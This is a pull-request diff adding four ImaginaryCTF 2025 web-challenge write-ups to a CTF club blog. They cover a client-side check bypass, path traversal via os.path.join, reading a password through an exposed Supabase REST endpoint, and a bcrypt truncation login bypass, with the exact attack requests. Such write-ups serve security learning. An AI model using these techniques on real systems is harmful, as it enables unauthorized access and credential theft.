Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions _authors/george.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
---
short_name: george
name: George
position: Web
website: https://github.com/george11119
layout: author
---

CTF is hard :(
56 changes: 56 additions & 0 deletions _posts/2025-09-09-imaginaryctf2025-certificate.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
---
layout: post
title: "[ImaginaryCTF 2025] certificate"
author: george
---

> As a thank you for playing our CTF, we're giving out participation certificates! Each one comes with a custom flag, but I bet you can't get the flag belonging to Eth007!
>
>https://eth007.me/cert/
>
> attachments: N/A

Loading up this webpage, we are greeted with what looks like some sort of certificate generator.

![certificate CTF challenge landing page](/assets/images/imaginaryctf2025/certificate.png)

By inputing a name and generating a preview of the certificate, we are able to change what the certificate looks like on screen. What is more interesting is that there seems to be a flag embed into the certificate's html code that is dynamically generated based on what the participant's name is.

![Flag being embed in the certificate](/assets/images/imaginaryctf2025/certificate-svg-html.png)

Judging from the challenge's description, I assumed I had to get the flag that was generated from the name
`Eth007`, so I put
`Eth007` and attempted to preview the page, only to realize that the name would be changed to `REDACTED` by the webpage.

![redacted name](/assets/images/imaginaryctf2025/certificate-redacted.png)

Seeing this, I started to read the javascript of the webpage to see how the name change was being done. I suspected that the name was being changed on the client-side by the javascript. Surely enough, my suspicions were confirmed upon seeing the following function:

```javascript
function renderPreview() {
var name = nameInput.value.trim();
if (name == "Eth007") {
name = "REDACTED"
}
const svg = buildCertificateSVG({
participant: name || "Participant Name",
affiliation: affInput.value.trim() || "Participant",
date: dateInput.value,
styleKey: styleSelect.value
});
svgHolder.innerHTML = svg;
svgHolder.dataset.currentSvg = svg;
}
```

It seemed to be a single if condition that would change name to `REDACTED` if the user input
`Eth007`. To bypass the filtering, I went to devtools and set a conditional breakpoint that would change name variable to
`Eth007` after the if condition.

![injecting javascript code using conditional breakpoint](/assets/images/imaginaryctf2025/certificate-conditional-breakpoint.png)

Doing so allowed me to bypass the name check and set the name to `Eth007`, getting me the flag.

![certificate with name Eth007](/assets/images/imaginaryctf2025/certificate-flag.png)

flag: `ictf{7b4b3965}`
66 changes: 66 additions & 0 deletions _posts/2025-09-09-imaginaryctf2025-codenames1.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
---
layout: post
title: "[ImaginaryCTF 2025] codenames-1"
author: george
---

> I hear that multilingual codenames is all the rage these days. Flag is in /flag.txt.
>
> http://codenames-1.chal.imaginaryctf.org/
>
> attachments: [codenames.zip](https://2025.imaginaryctf.org/files/codenames-1/codenames.zip)

This challenge was solved as a result of me freeloading off [Lyndon](/authors/lydxn) when I was at the Maple Bacon CTF club meetup. I started this challenge up locally and played around with it. The application seemed to be some sort of 2 player game in which you could either play with another player or play with a bot.

![picture of codenames game being played](/assets/images/imaginaryctf2025/codenames-1.png)

I spent an hour looking around struggling to read the source code and figuring out how to debug the application locally, when Lyndon shows up out of nowhere, introduces himself, solves my application debugging problems, and starts reading the source code with me. Within 5 minutes, he spots these lines in the game creation endpoint:

```python
@app.route("/create_game", methods=["POST"])
def create_game():
...
language = request.form.get("language", None)
...
if language:
wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
...
```

One thing to note is that the `language` body parameter passed into the
`os.path.join` function via a f-string is user controllable, allowing us to specify what file we wish to read. Another thing to note (which Lyndon pointed out to me when I was trying to solve the challenge) is that if the 2nd argument of
`os.path.join` starts with `/`, then the first argument is ignored entirely, as shown below:

```python
os.path.join("words", "en.txt")
# 'words/en.txt'

os.path.join("words", "/flag.txt")
# '/flag.txt'
```

Upon figuring this out, we created a new game with the default language set and captured the network request.

```http
POST /create_game HTTP/1.1
Host: codenames-1.chal.imaginaryctf.org
Connection: keep-alive

language=de
```

We then sent a modified request to the server, swapping out the language to be `/flag` instead of `de`.

```http
POST /create_game HTTP/1.1
Host: codenames-1.chal.imaginaryctf.org
Connection: keep-alive

language=/flag
```

Upon starting the game that was generated using our modified request, we noticed that all words were replaced with the flag, solving us the challenge.

![flags replacing words in codenames board](/assets/images/imaginaryctf2025/codenames-1-flag.png)

flag: `ictf{common_os_path_join_L_b19d35ca}`
51 changes: 51 additions & 0 deletions _posts/2025-09-09-imaginaryctf2025-imaginarynotes.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
---
layout: post
title: "[ImaginaryCTF 2025] imaginary-notes"
author: george
---

> I made a new note taking app using Supabase! Its so secure, I put my flag as the password to the "admin" account. I even put my anonymous key somewhere in the site. The password database is called, "users".
>
> http://imaginary-notes.chal.imaginaryctf.org
>
> attachments: N/A

Loading up the webpage, we are shown a login page that takes in a username and password.

![Loading page on imaginary-notes](/assets/images/imaginaryctf2025/imaginary-notes.png)

Seeing this, my first reaction was attempting to login with the username `admin` and password
`password` and look at the network requests made. One network request in particular caught my eye.

```http
GET /rest/v1/users?select=*&username=eq.admin&password=eq.password HTTP/2
Host: dpyxnwiuwzahkxuxrojp.supabase.co
```

It seems that this request directly fetches a user from the backend that match the username and password in the query parameters. The request also suspiciously resembles a SQL statement that would look like this:

```sql
SELECT *
FROM users
WHERE username = eq.admin
AND password = eq.password;
```

Once I saw this, I fiddled around with this endpoint for a bit until I came up with the request below:

```http
GET /rest/v1/users?select=password&username=eq.admin HTTP/2
Host: dpyxnwiuwzahkxuxrojp.supabase.co
```


```json
{
"password": "ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"
}
```

Sending this request allowed me to retrieve the password of the admin account and retrieve the flag, as shown from the response.

flag: `ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}`
73 changes: 73 additions & 0 deletions _posts/2025-09-09-imaginaryctf2025-passwordless.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
---
layout: post
title: "[ImaginaryCTF 2025] passwordless"
author: george
---

> Description
> Didn't have time to implement the email sending feature but that's ok, the site is 100% secure if nobody knows their password to sign in!
>
> http://passwordless.chal.imaginaryctf.org
>
> Attachments: [passwordless.zip](https://2025.imaginaryctf.org/files/passwordless/passwordless.zip)

I solved this challenge in collaboration with Leo at the Maple Bacon CTF club meetup. Clicking the link presented us with the following webpage:
![passwordless landing page](/assets/images/imaginaryctf2025/passwordless.png)

We attempted registering for an account, but unfortunately the application generates it's own password containing 16 random bytes for the user and does not return it for the user to see. The password generation function is shown below:

```javascript
const initialPassword = req.body.email + crypto.randomBytes(16).toString("hex");
```

Due to this, it seemed we had to find a bypass to log in without the password being returned to us. Seeing that we were given the source code for the application, we started reading it for an hour until we noticed something odd with the user registration route:

```javascript
app.post("/user", limiter, (req, res, next) => {
if (!req.body) return res.redirect("/login");

const nEmail = normalizeEmail(req.body.email);

if (nEmail.length > 64) {
req.session.error = "Your email address is too long";
return res.redirect("/login");
}

const initialPassword = req.body.email + crypto.randomBytes(16).toString("hex");
bcrypt.hash(initialPassword, 10, function (err, hash) {
...
});
});

```

The route compares the length of the user's email after running a
`normalizeEmail` function on it, but uses the original email to generate a password off of. Seeing this, we started testing out how the normalizeEmail function worked.

```javascript
normalizeEmail("foo@gmail.com");
// 'foo@gmail.com'
normalizeEmail("f.o.o@gmail.com");
// 'foo@gmail.com'
normalizeEmail(".................@gmail.com");
// '@gmail.com'
```

Upon realizing we could bypass the length check, we assumed that if there was a bypass for the length of the email, there must be some maximum length that the
`bcrypt` password hashing algorithm was able to handle. Surely enough, after a quick google search, we found a [stackoverflow link](https://stackoverflow.com/questions/76177745/does-bcrypt-have-a-length-limit) which states:

> BCrypt hashed passwords and secrets have a 72 character limit.

Upon seeing this, we registered a user with the following email:

```
......................................................................................................................................................@gmail.com
```

(in case you were wondering, thats 150 `.` characters)

By registering this email, we were able to bypass the email length check and input a string into the bcrypt hash function longer than 72 characters, removing the 16 random bytes added to the end of the password. Once registered, we logged into the application with the username and password being the email above, presenting us with the flag.

![passwordless flag](/assets/images/imaginaryctf2025/passwordless-flag.png)

flag: `ictf{8ee2ebc4085927c0dc85f07303354a05}`
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/images/imaginaryctf2025/certificate.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/images/imaginaryctf2025/codenames-1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/images/imaginaryctf2025/passwordless.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.